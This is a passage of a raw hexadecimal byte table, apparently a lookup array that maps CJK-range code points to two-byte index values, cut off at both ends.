0x1f,\r\n0x00, 0x26, 0xD6, 0x1f, 0x1f,\r\n0x00, 0x26, 0xD7, 0x20, 0x1f,\r\n0x00, 0x26, 0xD8, 0x21, 0x1f,\r\n0x00, 0x26, 0xD9, 0xb9, 0x00,\r\n0x00, 0x26, 0xDA, 0x0a, 0x01,\r\n0x00, 0x26, 0xDB, 0x22, 0x1f,\r\n0x00, 0x26, 0xDC, 0x23, 0x1f,\r\n0x00, 0x26, 0xDD, 0x24, 0x1f,\r\n0x00, 0x26, 0xDE, 0x25, 0x1f,\r\n0x00, 0x26, 0xDF, 0x26, 0x1f,\r\n0x00, 0x26, 0xE0, 0x27, 0x1f,\r\n0x00, 0x26, 0xE1, 0xc6, 0x15,\r\n0x00, 0x26, 0xE2, 0xce, 0x17,\r\n0x00, 0x26, 0xE3, 0x28, 0x1f,\r\n0x00, 0x26, 0xE4, 0x05, 0x01,\r\n0x00, 0x26, 0xE5, 0x29, 0x1f,\r\n0x00, 0x26, 0xE6, 0x2a, 0x1f,\r\n0x00, 0x26, 0xE7, 0x0e, 0x03,\r\n0x00, 0x26, 0xE8, 0xd4, 0x0c,\r\n0x00, 0x26, 0xE9, 0x2b, 0x1f,\r\n0x00, 0x26, 0xEA, 0x2c, 0x1f,\r\n0x00, 0x26, 0xEB, 0xf7, 0x01,\r\n0x00, 0x26, 0xEC, 0x2d, 0x1f,\r\n0x00, 0x26, 0xED, 0xe1, 0x12,\r\n0x00, 0x26, 0xEE, 0x2e, 0x1f,\r\n0x00, 0x26, 0xEF, 0x71, 0x0c,\r\n0x00, 0x26, 0xF0, 0x2f, 0x1f,\r\n0x00, 0x26, 0xF1, 0x82, 0x13,\r\n0x00, 0x26, 0xF2, 0x68, 0x08,\r\n0x00, 0x26, 0xF3, 0x80, 0x04,\r\n0x00, 0x26, 0xF4, 0x30, 0x1f,\r\n0x00, 0x26, 0xF5, 0x31, 0x1f,\r\n0x00, 0x26, 0xF6, 0x32, 0x1f,\r\n0x00, 0x26, 0xF7, 0x33, 0x1f,\r\n0x00, 0x26, 0xF8, 0x34, 0x1f,\r\n0x00, 0x26, 0xF9, 0x35, 0x1f,\r\n0x00, 0x26, 0xFA, 0x36, 0x1f,\r\n0x00, 0x26, 0xFB, 0x37, 0x1f,\r\n0x00, 0x26, 0xFC, 0x38, 0x1f,\r\n0x00, 0x26, 0xFD, 0x40, 0x06,\r\n0x00, 0x26, 0xFE, 0x39, 0x1f,\r\n0x00, 0x26, 0xFF, 0xc2, 0x0d,\r\n0x00, 0x27, 0x00, 0xe9, 0x01,\r\n0x00, 0x27, 0x01, 0x3a, 0x1f,\r\n0x00, 0x27, 0x02, 0x3b, 0x1f,\r\n0x00, 0x27, 0x03, 0x3c, 0x1f,\r\n0x00, 0x27, 0x04, 0x46, 0x0e,\r\n0x00, 0x27, 0x05, 0x3d, 0x1f,\r\n0x00, 0x27, 0x06, 0x3e, 0x1f,\r\n0x00, 0x27, 0x07, 0x3f, 0x1f,\r\n0x00, 0x27, 0x08, 0x40, 0x1f,\r\n0x00, 0x27, 0x09, 0xc5, 0x08,\r\n0x00, 0x27, 0x0A, 0x41, 0x1f,\r\n0x00, 0x27, 0x0B, 0x42, 0x1f,\r\n0x00, 0x27, 0x0C, 0x05, 0x00,\r\n0x00, 0x27, 0x0D, 0x05, 0x00,\r\n0x00, 0x27, 0x0E, 0x80, 0x10,\r\n0x00, 0x27, 0x0F, 0x43, 0x1f,\r\n0x00, 0x27, 0x10, 0x80, 0x10,\r\n0x00, 0x27, 0x11, 0x44, 0x1f,\r\n0x00, 0x27, 0x12, 0x45, 0x1f,\r\n0x00, 0x27, 0x13, 0x0a, 0x01,\r\n0x00, 0x27, 0x14, 0x46, 0x1f,\r\n0x00, 0x27, 0x15, 0x47, 0x1f,\r\n0x00, 0x27, 0x16, 0x48, 0x1f,\r\n0x00, 0x27, 0x17, 0x49, 0x1f,\r\n0x00, 0x27, 0x18, 0x4a, 0x1f,\r\n0x00, 0x27, 0x19, 0xcf, 0x09,\r\n0x00, 0x27, 0x1A, 0x4b, 0x1f,\r\n0x00, 0x27, 0x1B, 0x4c, 0x1f,\r\n0x00, 0x27, 0x1C, 0x9c, 0x1e,\r\n0x00, 0x27, 0x1D, 0x4d, 0x1f,\r\n0x00, 0x27, 0x1E, 0x4e, 0x1f,\r\n0x00, 0x27, 0x1F, 0x4f, 0x1f,\r\n0x00, 0x27, 0x20, 0x50, 0x1f,\r\n0x00, 0x27, 0x21, 0xe9, 0x01,\r\n0x00, 0x27, 0x22, 0x84, 0x12,\r\n0x00, 0x27, 0x90, 0x05, 0x00,\r\n0x00, 0x27, 0xE3, 0x05, 0x00,\r\n0x00, 0x27, 0xF8, 0x80, 0x00,\r\n0x00, 0x28, 0x9F, 0x59, 0x1b,\r\n0x00, 0x28, 0xF8, 0x80, 0x10,\r\n0x00, 0x29, 0x26, 0x51, 0x1f,\r\n0x00, 0x2A, 0x10, 0x05, 0x00,\r\n0x00, 0x2A, 0x6A, 0x05, 0x00,\r\n0x00, 0x2A, 0xAF, 0x52, 0x1f,\r\n0x00, 0x2C, 0xC8, 0x05, 0x00,\r\n0x00, 0x2D, 0x76, 0x53, 0x1f,\r\n0x00, 0x2E, 0xC7, 0xda, 0x14,\r\n0x00, 0x2F, 0xD9, 0x54, 0x1f,\r\n0x00, 0x30, 0x00, 0x55, 0x1f,\r\n0x00, 0x30, 0x01, 0x56, 0x1f,\r\n0x00, 0x30, 0x02, 0x57, 0x1f,\r\n0x00, 0x30, 0x03, 0x58, 0x1f,\r\n0x00, 0x30, 0x04, 0x59, 0x1f,\r\n0x00, 0x30, 0x05, 0xc5, 0x09,\r\n0x00, 0x30, 0x06, 0x5a, 0x1f,\r\n0x00, 0x30, 0x07, 0x5b, 0x1f,\r\n0x00, 0x30, 0x08, 0x5c, 0x1f,\r\n0x00, 0x30, 0x09, 0x5d, 0x1f,\r\n0x00, 0x30, 0x0A, 0xdc, 0x1e,\r\n0x00, 0x30, 0x0B, 0x5e, 0x1f,\r\n0x00, 0x30, 0x0C, 0x5f, 0x1f,\r\n0x00, 0x30, 0x0D, 0x60, 0x1f,\r\n0x00, 0x30, 0x0E, 0x61, 0x1f,\r\n0x00, 0x30, 0x0F, 0x62, 0x1f,\r\n0x00, 0x30, 0x10, 0x63, 0x1f,\r\n0x00, 0x30, 0x11, 0x16, 0x05,\r\n0x00, 0x30, 0x12, 0xdf, 0x01,\r\n0x00, 0x30, 0x13, 0x45, 0x00,\r\n0x00, 0x30, 0x14, 0x64, 0x1f,\r\n0x00, 0x30, 0x15, 0x65, 0x1f,\r\n0x00, 0x30, 0x16, 0x66, 0x1f,\r\n0x00, 0x30, 0x17, 0x67, 0x1f,\r\n0x00, 0x30, 0x18, 0x68, 0x1f,\r\n0x00, 0x30, 0x19, 0x05, 0x00,\r\n0x00, 0x30, 0x1A, 0x69, 0x1f,\r\n0x00, 0x30, 0x1B, 0x6a, 0x1f,\r\n0x00, 0x30, 0x1C, 0x6b, 0x1f,\r\n0x00, 0x30, 0x1D, 0x6c, 0x1f,\r\n0x00, 0x30, 0x1E, 0xc0, 0x03,\r\n0x00, 0x30, 0x1F, 0x52, 0x06,\r\n0x00, 0x30, 0x20, 0x6d, 0x1f,\r\n0x00, 0x30, 0x21, 0x0f, 0x1b,\r\n0x00, 0x30, 0x22, 0x6e, 0x1f,\r\n0x00, 0x30, 0x23, 0x6f, 0x1f,\r\n0x00, 0x30, 0x24, 0x05, 0x00,\r\n0x00, 0x30, 0x25, 0x70, 0x1f,\r\n0x00, 0x30, 0x26, 0x71, 0x1f,\r\n0x00, 0x30, 0x27, 0x72, 0x1f,\r\n0x00, 0x30, 0x28, 0x73, 0x1f,\r\n0x00, 0x30, 0x29, 0x74, 0x1f,\r\n0x00, 0x30, 0x2A, 0x45, 0x15,\r\n0x00, 0x30, 0x2B, 0x75, 0x1f,\r\n0x00, 0x30, 0x2C, 0x76, 0x1f,\r\n0x00, 0x30, 0x2D, 0x77, 0x1f,\r\n0x00, 0x30, 0x2E, 0x78, 0x1f,\r\n0x00, 0x30, 0x2F, 0x79, 0x1f,\r\n0x00, 0x30, 0x30, 0x7a, 0x1f,\r\n0x00, 0x30, 0x31, 0x7b, 0x1f,\r\n0x00, 0x30, 0x32, 0x7c, 0x1f,\r\n0x00, 0x30, 0x33, 0x7d, 0x1f,\r\n0x00, 0x30, 0x34, 0x7e, 0x1f,\r\n0x00, 0x30, 0x35, 0x7f, 0x1f,\r\n0x00, 0x30, 0x36, 0x80, 0x1f,\r\n0x00, 0x30, 0x37, 0x61, 0x1a,\r\n0x00, 0x30, 0x38, 0x81, 0x1f,\r\n0x00, 0x30, 0x39, 0x82, 0x1f,\r\n0x00, 0x30, 0x3A, 0x83, 0x1f,\r\n0x00, 0x30, 0x3B, 0x90, 0x0f,\r\n0x00, 0x30, 0x3C, 0x84, 0x1f,\r\n0x00, 0x30, 0x3D, 0x85, 0x1f,\r\n0x00, 0x30, 0x3E, 0x86, 0x1f,\r\n0x00, 0x30, 0x3F, 0x87, 0x1f,\r\n0x00, 0x30, 0x40, 0x05, 0x00,\r\n0x00, 0x30, 0x41, 0x88, 0x1f,\r\n0x00, 0x30, 0x42, 0x89, 0x1f,\r\n0x00, 0x30, 0x43, 0x8a, 0x1f,\r\n0x00, 0x30, 0x44, 0x8b, 0x1f,\r\n0x00, 0x30, 0x45, 0x8c, 0x1f,\r\n0x00, 0x30, 0x46, 0x8d, 0x1f,\r\n0x00, 0x30, 0x47, 0x8e, 0x1f,\r\n0x00, 0x30, 0x48, 0x43, 0x1e,\r\n0x00, 0x30, 0x49, 0x8f, 0x1f,\r\n0x00, 0x30, 0x4A, 0x01, 0x0f,\r\n0x00, 0x30, 0x4B, 0x90, 0x1f,\r\n0x00, 0x30, 0x4C, 0x91, 0x1f,\r\n0x00, 0x30, 0x4D, 0x92, 0x1f,\r\n0x00, 0x30, 0x4E, 0x93, 0x1f,\r\n0x00, 0x30, 0x4F, 0x94, 0x1f,\r\n0x00, 0x30, 0x50, 0x95, 0x1f,\r\n0x00, 0x30, 0x51, 0x96, 0x1f,\r\n0x00, 0x30, 0x52, 0x97, 0x1f,\r\n0x00, 0x30, 0x53, 0x98, 0x1f,\r\n0x00, 0x30, 0x54, 0xe6, 0x17,\r\n0x00, 0x30, 0x55, 0xf4, 0x18,\r\n0x00, 0x30, 0x56, 0x99, 0x1f,\r\n0x00, 0x30, 0x57, 0x9a, 0x1f,\r\n0x00, 0x30, 0x58, 0x9b, 0x1f,\r\n0x00, 0x30, 0x59, 0x9c, 0x1f,\r\n0x00, 0x30, 0x5A, 0x9d, 0x1f,\r\n0x00, 0x30, 0x5B, 0x9e, 0x1f,\r\n0x00, 0x30, 0x5C, 0x9f, 0x1f,\r\n0x00, 0x30, 0x5D, 0xa0, 0x1f,\r\n0x00, 0x30, 0x5E, 0xa1, 0x1f,\r\n0x00, 0x30, 0x5F, 0xa2, 0x1f,\r\n0x00, 0x30, 0x60, 0xa3, 0x1f,\r\n0x00, 0x30, 0x61, 0xa4, 0x1f,\r\n0x00, 0x30, 0x62, 0xa5, 0x1f,\r\n0x00, 0x30, 0x63, 0xa6, 0x1f,\r\n0x00, 0x30, 0x64, 0xa7, 0x1f,\r\n0x00, 0x30, 0x65, 0x51, 0x03,\r\n0x00, 0x30, 0x66, 0xa8, 0x1f,\r\n0x00, 0x30, 0x67, 0xa9, 0x1f,\r\n0x00, 0x30, 0x68, 0x2d, 0x0a,\r\n0x00, 0x30, 0x69, 0xaa, 0x1f,\r\n0x00, 0x30, 0x6A, 0xab, 0x1f,\r\n0x00, 0x30, 0x6B, 0xac, 0x1f,\r\n0x00, 0x30, 0x6C, 0xad, 0x1f,\r\n0x00, 0x30, 0x6D, 0x09, 0x05,\r\n0x00, 0x30, 0x6E, 0xc9, 0x01,\r\n0x00, 0x30, 0x6F, 0xae, 0x1f,\r\n0x00, 0x30, 0x70, 0xaf, 0x1f,\r\n0x00, 0x30, 0x71, 0x05, 0x00,\r\n0x00, 0x30, 0x72, 0xb0, 0x1f,\r\n0x00, 0x30, 0x73, 0xdf, 0x03,\r\n0x00, 0x30, 0x74, 0xb1, 0x1f,\r\n0x00, 0x30, 0x75, 0xb2, 0x1f,\r\n0x00, 0x30, 0x76, 0xb3, 0x1f,\r\n0x00, 0x30, 0x77, 0xb4, 0x1f,\r\n0x00, 0x30, 0x78, 0x05, 0x00,\r\n0x00, 0x30, 0x79, 0xb5, 0x1f,\r\n0x00, 0x30, 0x7A, 0xf7, 0x01,\r\n0x00, 0x30, 0x7B, 0x05, 0x00,\r\n0x00, 0x30, 0x7C, 0xb6, 0x1f,\r\n0x00, 0x30, 0x7D, 0xb7, 0x1f,\r\n0x00, 0x30, 0x7E, 0xb8, 0x1f,\r\n0x00, 0x30, 0x7F, 0xb9, 0x1f,\r\n0x00, 0x30, 0x80, 0x05, 0x00,\r\n0x00, 0x30, 0x81, 0xba, 0x1f,\r\n0x00, 0x30, 0x82, 0xbb, 0x1f,\r\n0x00, 0x30, 0x83, 0xbc, 0x1f,\r\n0x00, 0x30, 0x84, 0xc0, 0x00,\r\n0x00, 0x30, 0x85, 0x05, 0x00,\r\n0x00, 0x30, 0x86, 0xbd, 0x1f,\r\n0x00, 0x30, 0x87, 0xbe, 0x1f,\r\n0x00, 0x30, 0x88, 0xce, 0x01,\r\n0x00, 0x30, 0x89, 0xbf, 0x1f,\r\n0x00, 0x30, 0x8A, 0xc0, 0x1f,\r\n0x00, 0x30, 0x8B, 0xc1, 0x1f,\r\n0x00, 0x30, 0x8C, 0xc2, 0x1f,\r\n0x00, 0x30, 0x8D, 0xc3, 0x1f,\r\n0x00, 0x30, 0x8E, 0xac, 0x05,\r\n0x00, 0x30, 0x8F, 0xc4, 0x1f,\r\n0x00, 0x30, 0x90, 0xc5, 0x1f,\r\n0x00, 0x30, 0x91, 0xc6, 0x1f,\r\n0x00, 0x30, 0x92, 0xc7, 0x1f,\r\n0x00, 0x30, 0x93, 0xc8, 0x1f,\r\n0x00, 0x30, 0x94, 0x05, 0x00,\r\n0x00, 0x30, 0x95, 0xc9, 0x1f,\r\n0x00, 0x30, 0x96, 0x05, 0x00,\r\n0x00, 0x30, 0x97, 0xca, 0x1f,\r\n0x00, 0x30, 0x98, 0xcb, 0x1f,\r\n0x00, 0x30, 0x99, 0xcc, 0x1f,\r\n0x00, 0x30, 0x9A, 0xcd, 0x1f,\r\n0x00, 0x30, 0x9B, 0xce, 0x1f,\r\n0x00, 0x30, 0x9C, 0xcf, 0x1f,\r\n0x00, 0x30, 0x9D, 0xd0, 0x1f,\r\n0x00, 0x30, 0x9E, 0xd1, 0x1f,\r\n0x00, 0x30, 0x9F, 0xd2, 0x1f,\r\n0x00, 0x30, 0xA0, 0xd3, 0x1f,\r\n0x00, 0x30, 0xA1, 0xd4, 0x1f,\r\n0x00, 0x30, 0xA2, 0xd5, 0x1f,\r\n0x00, 0x30, 0xA3, 0x05, 0x00,\r\n0x00, 0x30, 0xA4, 0xd6, 0x1f,\r\n0x00, 0x30, 0xA5, 0xd7, 0x1f,\r\n0x00, 0x30, 0xA6, 0xd8, 0x1f,\r\n0x00, 0x30, 0xA7, 0xd9, 0x1f,\r\n0x00, 0x30, 0xA8, 0xda, 0x1f,\r\n0x00, 0x30, 0xA9, 0xdb, 0x1f,\r\n0x00, 0x30, 0xAA, 0xdc, 0x1f,\r\n0x00, 0x30, 0xAB, 0xdd, 0x1f,\r\n0x00, 0x30, 0xAC, 0xde, 0x1f,\r\n0x00, 0x30, 0xAD, 0x0e, 0x03,\r\n0x00, 0x30, 0xAE, 0xdf, 0x1f,\r\n0x00, 0x30, 0xAF, 0xc2, 0x05,\r\n0x00, 0x30, 0xB0, 0xf2, 0x15,\r\n0x00, 0x30, 0xB1, 0xe0, 0x1f,\r\n0x00, 0x30, 0xB2, 0xe1, 0x1f,\r\n0x00, 0x30, 0xB3, 0xe2, 0x1f,\r\n0x00, 0x30, 0xB4, 0xe3, 0x1f,\r\n0x00, 0x30, 0xB5, 0xe4, 0x1f,\r\n0x00, 0x30, 0xB6, 0x05, 0x00,\r\n0x00, 0x30, 0xB7, 0xe5, 0x1f,\r\n0x00, 0x30, 0xB8, 0xe6, 0x1f,\r\n0x00, 0x30, 0xB9, 0xe7, 0x1f,\r\n0x00, 0x30, 0xBA, 0xe8, 0x1f,\r\n0x00, 0x30, 0xBB, 0xe9, 0x1f,\r\n0x00, 0x30, 0xBC, 0xea, 0x1f,\r\n0x00, 0x30, 0xBD, 0xeb, 0x1f,\r\n0x00, 0x30, 0xBE, 0xec, 0x1f,\r\n0x00, 0x30, 0xBF, 0xed, 0x1f,\r\n0x00, 0x30, 0xC0, 0xee, 0x1f,\r\n0x00, 0x30, 0xC1, 0xc9, 0x01,\r\n0x00, 0x30, 0xC2, 0xef, 0x1f,\r\n0x00, 0x30, 0xC3, 0xf0, 0x1f,\r\n0x00, 0x30, 0xC4, 0xf1, 0x1f,\r\n0x00, 0x30, 0xC5, 0xf2, 0x1f,\r\n0x00, 0x30, 0xC6, 0xf3, 0x1f,\r\n0x00, 0x30, 0xC7, 0xf4, 0x1f,\r\n0x00, 0x30, 0xC8, 0xf5, 0x1f,\r\n0x00, 0x30, 0xC9, 0xf6, 0x1f,\r\n0x00, 0x30, 0xCA, 0xf7, 0x1f,\r\n0x00, 0x30, 0xCB, 0xf8, 0x1f,\r\n0x00, 0x30, 0xCC, 0xf9, 0x1f,\r\n0x00, 0x30, 0xCD, 0xfa, 0x1f,\r\n0x00, 0x30, 0xCE, 0xfb, 0x1f,\r\n0x00, 0x30, 0xCF, 0xfc, 0x1f,\r\n0x00, 0x30, 0xD0, 0xfd, 0x1f,\r\n0x00, 0x30, 0xD1, 0xfe, 0x1f,\r\n0x00, 0x30, 0xD2, 0xff, 0x1f,\r\n0x00, 0x30, 0xD3, 0xf2, 0x03,\r\n0x00, 0x30, 0xD4, 0x00, 0x20,\r\n0x00, 0x30, 0xD5, 0x01, 0x20,\r\n0x00, 0x30, 0xD6, 0xce, 0x02,\r\n0x00, 0x30, 0xD7, 0xd3, 0x01,\r\n0x00, 0x30, 0xD8, 0x02, 0x20,\r\n0x00, 0x30, 0xD9, 0x03, 0x20,\r\n0x00, 0x30, 0xDA, 0x5c, 0x18,\r\n0x00, 0x30, 0xDB, 0x04, 0x20,\r\n0x00, 0x30, 0xDC, 0x05, 0x20,\r\n0x00, 0x30, 0xDD, 0x06, 0x20,\r\n0x00, 0x30, 0xDE, 0x07, 0x20,\r\n0x00, 0x30, 0xDF, 0x08, 0x20,\r\n0x00, 0x30, 0xE0, 0x09, 0x20,\r\n0x00, 0x30, 0xE1, 0xfb, 0x01,\r\n0x00, 0x30, 0xE2, 0x0a, 0x20,\r\n0x00, 0x30, 0xE3, 0x0b, 0x20,\r\n0x00, 0x30, 0xE4, 0x0c, 0x20,\r\n0x00, 0x30, 0xE5, 0x0d, 0x20,\r\n0x00, 0x30, 0xE6, 0x70, 0x0e,\r\n0x00, 0x30, 0xE7, 0x0e, 0x20,\r\n0x00, 0x30, 0xE8, 0x0f, 0x20,\r\n0x00, 0x30, 0xE9, 0x10, 0x20,\r\n0x00, 0x30, 0xEA, 0x11, 0x20,\r\n0x00, 0x30, 0xEB, 0x12, 0x20,\r\n0x00, 0x30, 0xEC, 0x13, 0x20,\r\n0x00, 0x30, 0xED, 0x14, 0x20,\r\n0x00, 0x30, 0xEE, 0x15, 0x20,\r\n0x00, 0x30, 0xEF, 0x16, 0x20,\r\n0x00, 0x30, 0xF0, 0x17, 0x20,\r\n0x00, 0x30, 0xF1, 0xda, 0x00,\r\n0x00, 0x30, 0xF2, 0x05, 0x00,\r\n0x00, 0x30, 0xF3, 0x18, 0x20,\r\n0x00, 0x30, 0xF4, 0x19, 0x20,\r\n0x00, 0x30, 0xF5, 0x1a, 0x20,\r\n0x00, 0x30, 0xF6, 0x1b, 0x20,\r\n0x00, 0x30, 0xF7, 0x1c, 0x20,\r\n0x00, 0x30, 0xF8, 0x1d, 0x20,\r\n0x00, 0x30, 0xF9, 0x1e, 0x20,\r\n0x00, 0x30, 0xFA, 0x1f, 0x20,\r\n0x00, 0x30, 0xFB, 0x20, 0x20,\r\n0x00, 0x30, 0xFC, 0x21, 0x20,\r\n0x00, 0x30, 0xFD, 0xd5, 0x00,\r\n0x00, 0x30, 0xFE, 0x22, 0x20,\r\n0x00, 0x30, 0xFF, 0x74, 0x1e,\r\n0x00, 0x31, 0x46, 0x08, 0x05,\r\n0x00, 0x32, 0x3A, 0x23, 0x20,\r\n0x00, 0x33, 0x6C, 0x24, 0x20,\r\n0x00, 0x34, 0xDA, 0xce, 0x17,\r\n0x00, 0x34, 0xF1, 0x25, 0x20,\r\n0x00, 0x34, 0xFE, 0xda, 0x14,\r\n0x00, 0x35, 0x1A, 0x05, 0x00,\r\n0x00, 0x35, 0x32, 0xc8, 0x19,\r\n0x00, 0x35, 0x60, 0x26, 0x20,\r\n0x00, 0x36, 0x76, 0xb9, 0x00,\r\n0x00, 0x36, 0xF8, 0x27, 0x20,\r\n0x00, 0x36, 0xFE, 0x9b, 0x11,\r\n0x00, 0x37, 0x6D, 0xd4, 0x0c,\r\n0x00, 0x37, 0xB7, 0xc4, 0x0c,\r\n0x00, 0x38, 0xDF, 0x05, 0x00,\r\n0x00, 0x3A, 0x7D, 0x05, 0x00,\r\n0x00, 0x3A, 0x98, 0x05, 0x00,\r\n0x00, 0x3A, 0x99, 0x05, 0x00,\r\n0x00, 0x3A, 0x9A, 0x05, 0x00,\r\n0x00, 0x3A, 0x9B, 0x05, 0x00,\r\n0x00, 0x3A, 0x9C, 0x05, 0x00,\r\n0x00, 0x3A, 0x9D, 0xa2, 0x0b,\r\n0x00, 0x3A, 0xAF, 0x28, 0x20,\r\n0x00, 0x3C, 0x10, 0x05, 0x00,\r\n0x00, 0x3C, 0xC5, 0x29, 0x20,\r\n0x00, 0x3D, 0x41, 0x2a, 0x20,\r\n0x00, 0x3D, 0xE8, 0xce, 0x17,\r\n0x00, 0x3E, 0xE1, 0x51, 0x03,\r\n0x00, 0x40, 0x00, 0x2b, 0x20,\r\n0x00, 0x40, 0x01, 0x2c, 0x20,\r\n0x00, 0x40, 0x02, 0x2d, 0x20,\r\n0x00, 0x40, 0x03, 0x2e, 0x20,\r\n0x00, 0x40, 0x04, 0x2f, 0x20,\r\n0x00, 0x40, 0x05, 0x30, 0x20,\r\n0x00, 0x40, 0x06, 0x31, 0x20,\r\n0x00, 0x40, 0x07, 0x32, 0x20,\r\n0x00, 0x40, 0x08, 0x33, 0x20,\r\n0x00, 0x40, 0x09, 0x34, 0x20,\r\n0x00, 0x40, 0x0A, 0x35, 0x20,\r\n0x00, 0x40, 0x0B, 0x36, 0x20,\r\n0x00, 0x40, 0x0C, 0xa0, 0x11,\r\n0x00, 0x40, 0x0D, 0x37, 0x20,\r\n0x00, 0x40, 0x0E, 0xc7, 0x1a,\r\n0x00, 0x40, 0x0F, 0x38, 0x20,\r\n0x00, 0x40, 0x10, 0x39, 0x20,\r\n0x00, 0x40, 0x11, 0x3a, 0x20,\r\n0x00, 0x40, 0x12, 0x3b, 0x20,\r\n0x00, 0x40, 0x13, 0x3c, 0x20,\r\n0x00, 0x40, 0x14, 0x3d, 0x20,\r\n0x00, 0x40, 0x15, 0x3e, 0x20,\r\n0x00, 0x40, 0x16, 0x3f, 0x20,\r\n0x00, 0x40, 0x17, 0x40, 0x20,\r\n0x00, 0x40, 0x18, 0x41, 0x20,\r\n0x00, 0x40, 0x19, 0x42, 0x20,\r\n0x00, 0x40, 0x1A, 0x43, 0x20,\r\n0x00, 0x40, 0x1B, 0x44, 0x20,\r\n0x00, 0x40, 0x1C, 0x45, 0x20,\r\n0x00, 0x40, 0x1D, 0x46, 0x20,\r\n0x00, 0x40, 0x1E, 0x47, 0x20,\r\n0x00, 0x40, 0x1F, 0x48, 0x20,\r\n0x00, 0x40, 0x20, 0x49, 0x20,\r\n0x00, 0x40, 0x21, 0x4a, 0x20,\r\n0x00, 0x40, 0x22, 0x4b, 0x20,\r\n0x00, 0x40, 0x23, 0x4c, 0x20,\r\n0x00, 0x40, 0x24, 0x4d, 0x20,\r\n0x00, 0x40, 0x25, 0x41, 0x09,\r\n0x00, 0x40, 0x26, 0xa2, 0x06,\r\n0x00, 0x40, 0x27, 0x4e, 0x20,\r\n0x00, 0x40, 0x28, 0x4f, 0x20,\r\n0x00, 0x40, 0x29, 0x50, 0x20,\r\n0x00, 0x40, 0x2A, 0x51, 0x20,\r\n0x00, 0x40, 0x2B, 0x52, 0x20,\r\n0x00, 0x40, 0x2C, 0x53, 0x20,\r\n0x00, 0x40, 0x2D, 0x54, 0x20,\r\n0x00, 0x40, 0x2E, 0x99, 0x01,\r\n0x00, 0x40, 0x2F, 0x55, 0x20,\r\n0x00, 0x40, 0x30, 0x56, 0x20,\r\n0x00, 0x40, 0x31, 0x57, 0x20,\r\n0x00, 0x40, 0x32, 0xd8, 0x02,\r\n0x00, 0x40, 0x33, 0x58, 0x20,\r\n0x00, 0x40, 0x34, 0x59, 0x20,\r\n0x00, 0x40, 0x35, 0x5a, 0x20,\r\n0x00, 0x40, 0x36, 0x5b, 0x20,\r\n0x00, 0x40, 0x37, 0x5c, 0x20,\r\n0x00, 0x40, 0x38, 0x5d, 0x20,\r\n0x00, 0x40, 0x39, 0x5e, 0x20,\r\n0x00, 0x40, 0x3A, 0x5f, 0x20,\r\n0x00, 0x40, 0x3B, 0x60, 0x20,\r\n0x00, 0x40, 0x3C, 0x61, 0x20,\r\n0x00, 0x40, 0x3D, 0x62, 0x20,\r\n0x00, 0x40, 0x3E, 0x63, 0x20,\r\n0x00, 0x40, 0x3F, 0x64, 0x20,\r\n0x00, 0x40, 0x40, 0x65, 0x20,\r\n0x00, 0x40, 0x41, 0x6f, 0x0a,\r\n0x00, 0x40, 0x42, 0x99, 0x00,\r\n0x00, 0x40, 0x43, 0x66, 0x20,\r\n0x00, 0x40, 0x44, 0x67, 0x20,\r\n0x00, 0x40, 0x45, 0x1b, 0x01,\r\n0x00, 0x40, 0x46, 0x68, 0x20,\r\n0x00, 0x40, 0x47, 0x69, 0x20,\r\n0x00, 0x40, 0x48, 0x6a, 0x20,\r\n0x00, 0x40, 0x49, 0xa0, 0x0c,\r\n0x00, 0x40, 0x4A, 0x6b, 0x20,\r\n0x00, 0x40, 0x4B, 0x6c, 0x20,\r\n0x00, 0x40, 0x4C, 0x6d, 0x20,\r\n0x00, 0x40, 0x4D, 0xc3, 0x0e,\r\n0x00, 0x40, 0x4E, 0x6e, 0x20,\r\n0x00, 0x40, 0x4F, 0x6f, 0x20,\r\n0x00, 0x40, 0x50, 0x70, 0x20,\r\n0x00, 0x40, 0x51, 0x71, 0x20,\r\n0x00, 0x40, 0x52, 0x72, 0x20,\r\n0x00, 0x40, 0x53, 0x73, 0x20,\r\n0x00, 0x40, 0x54, 0x74, 0x20,\r\n0x00, 0x40, 0x55, 0x75, 0x20,\r\n0x00, 0x40, 0x56, 0x76, 0x20,\r\n0x00, 0x40, 0x57, 0x3e, 0x07,\r\n0x00, 0x40, 0x58, 0x77, 0x20,\r\n0x00, 0x40, 0x59, 0x78, 0x20,\r\n0x00, 0x40, 0x5A, 0x79, 0x20,\r\n0x00, 0x40, 0x5B, 0x7a, 0x20,\r\n0x00, 0x40, 0x5C, 0x7b, 0x20,\r\n0x00, 0x40, 0x5D, 0x7c, 0x20,\r\n0x00, 0x40, 0x5E, 0x7d, 0x20,\r\n0x00, 0x40, 0x5F, 0x7e, 0x20,\r\n0x00, 0x40, 0x60, 0x7f, 0x20,\r\n0x00, 0x40, 0x61, 0x80, 0x20,\r\n0x00, 0x40, 0x62, 0x81, 0x20,\r\n0x00, 0x40, 0x63, 0x50, 0x1a,\r\n0x00, 0x40, 0x64, 0x82, 0x20,\r\n0x00, 0x40, 0x65, 0x83, 0x20,\r\n0x00, 0x40, 0x66, 0x84, 0x20,\r\n0x00, 0x40, 0x67, 0x85, 0x20,\r\n0x00, 0x40, 0x68, 0x86, 0x20,\r\n0x00, 0x40, 0x69, 0x87, 0x20,\r\n0x00, 0x40, 0x6A, 0x88, 0x20,\r\n0x00, 0x40, 0x6B, 0x89, 0x20,\r\n0x00, 0x40, 0x6C, 0x8a, 0x20,\r\n0x00, 0x40, 0x6D, 0x8b, 0x20,\r\n0x00, 0x40, 0x6E, 0x8c, 0x20,\r\n0x00, 0x40, 0x6F, 0x8d, 0x20,\r\n0x00, 0x40, 0x70, 0x8e, 0x20,\r\n0x00, 0x40, 0x71, 0x8f, 0x20,\r\n0x00, 0x40, 0x72, 0xe0, 0x0e,\r\n0x00, 0x40, 0x73, 0x90, 0x20,\r\n0x00, 0x40, 0x74, 0x91, 0x20,\r\n0x00, 0x40, 0x75, 0x9b, 0x00,\r\n0x00, 0x40, 0x76, 0x92, 0x20,\r\n0x00, 0x40, 0x77, 0x93, 0x20,\r\n0x00, 0x40, 0x78, 0x94, 0x20,\r\n0x00, 0x40, 0x79, 0x95, 0x20,\r\n0x00, 0x40, 0x7A, 0x96, 0x20,\r\n0x00, 0x40, 0x7B, 0x8c, 0x01,\r\n0x00, 0x40, 0x7C, 0x97, 0x20,\r\n0x00, 0x40, 0x7D, 0x98, 0x20,\r\n0x00, 0x40, 0x7E, 0xb3, 0x1a,\r\n0x00, 0x40, 0x7F, 0x65, 0x17,\r\n0x00, 0x40, 0x80, 0x99, 0x20,\r\n0x00, 0x40, 0x81, 0x28, 0x02,\r\n0x00, 0x40, 0x82, 0x9a, 0x20,\r\n0x00, 0x40, 0x83, 0x9b, 0x20,\r\n0x00, 0x40, 0x84, 0xc2, 